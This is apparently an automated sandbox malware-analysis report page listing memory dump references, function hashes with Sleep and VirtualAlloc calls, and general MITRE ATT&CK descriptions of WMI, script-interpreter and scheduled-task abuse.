Associated: 00000005.00000002.2477653566.0000000000476000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477764171.00000000005D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477791759.00000000005D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477819578.00000000005E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477819578.00000000005F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477881254.00000000005F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477907167.00000000005FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477932870.00000000005FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477963556.00000000005FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478000626.0000000000606000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478037344.0000000000608000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478103899.000000000060C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478202363.0000000000621000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478226866.0000000000623000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478282251.000000000062D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478303100.0000000000636000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478361199.0000000000643000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478380912.0000000000644000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478440029.0000000000645000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478472011.0000000000647000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478520706.0000000000648000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478540716.0000000000649000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478596530.000000000064A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478616688.000000000064C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478639237.0000000000655000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478659176.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478678838.0000000000658000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478699107.0000000000660000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478759283.000000000066E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478784926.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478840332.000000000067B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478863463.000000000067E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478923254.000000000067F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478953477.0000000000681000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478979740.0000000000682000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479077303.0000000000689000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479100129.0000000000690000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479162799.0000000000692000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479186562.0000000000699000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479239613.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479278113.000000000069C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479299284.000000000069E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479362605.00000000006BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479384600.00000000006BE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479448226.00000000006F1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479468122.00000000006F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.0000000000705000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479601463.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479622614.0000000000716000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_460000_QQVU8579GXGT7ENXLIPV.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 6368c889ab2e5295aa0b927ed829442258557093ba42b0c45169e1ada985b089
Instruction ID: dc3af86b0f0926438de24d5f1d6432311c52122860cee8cffaf21b86508df03d
Opcode Fuzzy Hash: 6368c889ab2e5295aa0b927ed829442258557093ba42b0c45169e1ada985b089
Instruction Fuzzy Hash: 664149B210C700AFE709AF19D88567EFBE5FF94360F16482EE2C682640E6758484DB97

Function 00621865 Relevance: 1.3, APIs: 1, Instructions: 20sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 00621874

Memory Dump Source

Source File: 00000005.00000002.2478202363.0000000000621000.00000080.00000001.01000000.00000006.sdmp, Offset: 00460000, based on PE: true

Associated: 00000005.00000002.2477543164.0000000000460000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477572320.0000000000462000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477599377.0000000000466000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477625213.000000000046A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477653566.0000000000476000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477764171.00000000005D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477791759.00000000005D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477819578.00000000005E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477819578.00000000005F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477881254.00000000005F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477907167.00000000005FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477932870.00000000005FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477963556.00000000005FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478000626.0000000000606000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478037344.0000000000608000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478082993.000000000060A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478103899.000000000060C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478226866.0000000000623000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478282251.000000000062D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478303100.0000000000636000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478361199.0000000000643000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478380912.0000000000644000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478440029.0000000000645000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478472011.0000000000647000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478520706.0000000000648000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478540716.0000000000649000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478596530.000000000064A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478616688.000000000064C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478639237.0000000000655000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478659176.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478678838.0000000000658000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478699107.0000000000660000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478759283.000000000066E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478784926.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478840332.000000000067B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478863463.000000000067E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478923254.000000000067F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478953477.0000000000681000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478979740.0000000000682000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479077303.0000000000689000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479100129.0000000000690000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479162799.0000000000692000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479186562.0000000000699000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479239613.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479278113.000000000069C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479299284.000000000069E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479362605.00000000006BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479384600.00000000006BE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479448226.00000000006F1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479468122.00000000006F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.0000000000705000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479601463.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479622614.0000000000716000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_460000_QQVU8579GXGT7ENXLIPV.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 098982628b9e1c7d37b0648c276325b912b5a036100e661296927bc84b2ae43a
Instruction ID: 27a2dcaacafa26320d66a722c1b681779063ecb5e263595de3dc1a9e3ecc29f8
Opcode Fuzzy Hash: 098982628b9e1c7d37b0648c276325b912b5a036100e661296927bc84b2ae43a
Instruction Fuzzy Hash: 00E0CD31558B7679D7225F7458D17BD7F16EF73711F144129E104495C1D7580810DB0A

Function 0046F610 Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 0046F610

Memory Dump Source

Source File: 00000005.00000002.2477625213.000000000046A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00460000, based on PE: true

Associated: 00000005.00000002.2477543164.0000000000460000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477572320.0000000000462000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477599377.0000000000466000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477653566.0000000000476000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477764171.00000000005D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477791759.00000000005D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477819578.00000000005E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477819578.00000000005F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477881254.00000000005F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477907167.00000000005FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477932870.00000000005FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477963556.00000000005FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478000626.0000000000606000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478037344.0000000000608000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478082993.000000000060A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478103899.000000000060C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478202363.0000000000621000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478226866.0000000000623000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478282251.000000000062D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478303100.0000000000636000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478361199.0000000000643000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478380912.0000000000644000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478440029.0000000000645000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478472011.0000000000647000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478520706.0000000000648000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478540716.0000000000649000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478596530.000000000064A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478616688.000000000064C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478639237.0000000000655000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478659176.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478678838.0000000000658000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478699107.0000000000660000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478759283.000000000066E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478784926.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478840332.000000000067B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478863463.000000000067E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478923254.000000000067F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478953477.0000000000681000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478979740.0000000000682000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479077303.0000000000689000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479100129.0000000000690000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479162799.0000000000692000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479186562.0000000000699000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479239613.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479278113.000000000069C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479299284.000000000069E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479362605.00000000006BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479384600.00000000006BE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479448226.00000000006F1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479468122.00000000006F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.0000000000705000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479601463.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479622614.0000000000716000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_460000_QQVU8579GXGT7ENXLIPV.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 84918dbddf5e80d0708c50f7f997d4f542c82a4d6b819cd6dee405405d18546f
Instruction ID: 860ece8bfe70faee6ae0b668ee2f06475b09b3bed82f497410828a3ccc71e2f2
Opcode Fuzzy Hash: 84918dbddf5e80d0708c50f7f997d4f542c82a4d6b819cd6dee405405d18546f
Instruction Fuzzy Hash: 56C04C3450054ECB8F151FB5810C0CF3A60EE19321B244712BC3282E90DB364C21DF0A

Analysis Process: 1X626IF7XY5V3PR2WUE6.exePID: 5268, Parent PID: 2976COMMON

Executed Functions

Function 056C0803 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2458594365.00000000056C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_56c0000_1X626IF7XY5V3PR2WUE6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c09579508cea6f459f8a573067575a68ce2c474ac2809e7d52a063b8dc5f847
Instruction ID: dfadf00972beb995a8355d599aae2b8231d38f1d427033a6f6b7b6893a8723fb
Opcode Fuzzy Hash: 5c09579508cea6f459f8a573067575a68ce2c474ac2809e7d52a063b8dc5f847
Instruction Fuzzy Hash: 0511B6FB14D124FD7981D1822F28EFE6B6EE0C1730731C4ABF846D4442E3994A5EA1B2

Function 056C0833 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2458594365.00000000056C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_56c0000_1X626IF7XY5V3PR2WUE6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09744a1f5f20e4eedc2a7bf15f621da35b15f2d48e0b7c5979153acf77316377
Instruction ID: a34827d2087e4e18d1194941cf60aecc460ae72373f956df5a6e8cb2285bb0f7
Opcode Fuzzy Hash: 09744a1f5f20e4eedc2a7bf15f621da35b15f2d48e0b7c5979153acf77316377
Instruction Fuzzy Hash: FC01E9FB15E110FDB981C1823A28AFE6F6EE1D5730730C8ABF846C4446D3594A9BA172

Function 056C0826 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2458594365.00000000056C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_56c0000_1X626IF7XY5V3PR2WUE6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6bd06fd67efe0120ced388095028ed66bb70ee13373c449f8c671a2c4020b3e
Instruction ID: 2b6914b900f3c82adc84d0973b749f492ac8aaedfc72c591e5717e535ebb9883
Opcode Fuzzy Hash: c6bd06fd67efe0120ced388095028ed66bb70ee13373c449f8c671a2c4020b3e
Instruction Fuzzy Hash: 550129FB14E120FD7980C1423A28EFE6B6EE0C1730731C4ABF84AD5442D3584A4BA1B2

Function 056C0920 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2458594365.00000000056C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_56c0000_1X626IF7XY5V3PR2WUE6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73ee847a2dd7ba27e3eef1f26a79d813553dddc172f92d8e3dbdebb50f189d23
Instruction ID: ffdc89f56f07fd3a26fcddb29c9ad6915f881252e8a2043afaa44b00739495cf
Opcode Fuzzy Hash: 73ee847a2dd7ba27e3eef1f26a79d813553dddc172f92d8e3dbdebb50f189d23
Instruction Fuzzy Hash: 3501F7BB00D291FCF991C0652A0CFFA6F2EE5C7A30730929BF182D9493D244460F91B1

Function 056C085B Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2458594365.00000000056C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_56c0000_1X626IF7XY5V3PR2WUE6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8369ac411796c0e5c90d69554e73e073cf2f7e3373d233b3e2759ddb31d5059a
Instruction ID: ea8ab68184777db832cd9ba35948ea26f9cd3ec45f2d293655ff894951d90a5a
Opcode Fuzzy Hash: 8369ac411796c0e5c90d69554e73e073cf2f7e3373d233b3e2759ddb31d5059a
Instruction Fuzzy Hash: B501ADB714E120EDBA80D5412A5CABE6F6BE1C1730730D4AFF446C9452E3644A9BE1B1

Function 056C0874 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2458594365.00000000056C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_56c0000_1X626IF7XY5V3PR2WUE6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0d2ea049dded8d0aa55afd5af0c6265fd74a2223fe6825d2dd658fb6068e30e
Instruction ID: 6870feb2c1e0d361b572294eaf42a3926de84c84d1630385fe2d7c31dfd4e228
Opcode Fuzzy Hash: e0d2ea049dded8d0aa55afd5af0c6265fd74a2223fe6825d2dd658fb6068e30e
Instruction Fuzzy Hash: CCF067BB04D110FDB981D2912E1CABE6E6FE1D5730730C8ABF456D4842E3644B5BE172

Function 056C0892 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2458594365.00000000056C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_56c0000_1X626IF7XY5V3PR2WUE6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2720e7791ae5dffa8fadb8b9c483e5ae52b9444705e4a12642adc656b9c75973
Instruction ID: d101306b7d33142f00cd25e96d68dc878bbd6d34b17d9cfed02a9f82d4bd8eff
Opcode Fuzzy Hash: 2720e7791ae5dffa8fadb8b9c483e5ae52b9444705e4a12642adc656b9c75973
Instruction Fuzzy Hash: 6EF034FB04D110FDB890C1822A1CBBE6E6EE0D263073084ABF496D4842A3940B5AE1B2

Function 056C089E Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2458594365.00000000056C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_56c0000_1X626IF7XY5V3PR2WUE6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d60438a5169f98d808b44794886bbcb9d31a720ef88e643b86ad82969cd74dd1
Instruction ID: 7f433d300531792e55973817218bf3cf0c7804decf877f5d4c30c041e8ec9b0d
Opcode Fuzzy Hash: d60438a5169f98d808b44794886bbcb9d31a720ef88e643b86ad82969cd74dd1
Instruction Fuzzy Hash: 79F09AFB04D120FDB580C5922A2CBBEAE2EE0D163033089AFF086C4442E3440A5E9672

Function 056C08D3 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2458594365.00000000056C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_56c0000_1X626IF7XY5V3PR2WUE6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 145e9e8495a76413348756b7eb05a19585a5e1bf321ca072b1c306c3123ed192
Instruction ID: 6b914ec23630cbecba509008cb2014ed60d3ebb488dd561d25064d38f21b499c
Opcode Fuzzy Hash: 145e9e8495a76413348756b7eb05a19585a5e1bf321ca072b1c306c3123ed192
Instruction Fuzzy Hash: A3E0E5B754C114FD3540D1E1372C7FA9E1EE0DA63033095ABF942EA093E2440A1FD071

Function 056C08EF Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2458594365.00000000056C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_56c0000_1X626IF7XY5V3PR2WUE6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3407a9d9e4a8cc78ad0d4a6c68cf9ca6074b9bde98125765f077e407afd0ecc8
Instruction ID: 467f8f93d4d1a335b63b12ebd65d83c0a5bf68c59d5b677676a498d241d69a49
Opcode Fuzzy Hash: 3407a9d9e4a8cc78ad0d4a6c68cf9ca6074b9bde98125765f077e407afd0ecc8
Instruction Fuzzy Hash: FCE01ABB54E014ED7190C1827A0CBBABB2EF1C673037094ABF456DA442A298476EE532

Function 056C0906 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2458594365.00000000056C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_56c0000_1X626IF7XY5V3PR2WUE6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a501797ea5849acdf8b5dd005268fc3ce527d92444643e09055f2e9ed71fc65
Instruction ID: c5e4ba62059a61e3ab5a13577a3e81b6063bbef5c030b05e63d6ca118c2b7eae
Opcode Fuzzy Hash: 1a501797ea5849acdf8b5dd005268fc3ce527d92444643e09055f2e9ed71fc65
Instruction Fuzzy Hash: D4E012BB68C410ED7190D1823B2CBBD6B2AF1D133137094ABF146C9003D6548B1EE676

Non-executed Functions

Function 056C0F35 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2458594365.00000000056C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_56c0000_1X626IF7XY5V3PR2WUE6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3d9c486998f8210a219814084dc97a0fb7936b578cdb41fbd949c125962316a
Instruction ID: 0c3fb40d77ea09394f21d404d33a82411cda264207ad1dabf1667910e99a6b93
Opcode Fuzzy Hash: e3d9c486998f8210a219814084dc97a0fb7936b578cdb41fbd949c125962316a
Instruction Fuzzy Hash: 44F04FEB14C240BE715685916B59AFB6E2EE4C363033184BAFC03C1652E2848F8E8031

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
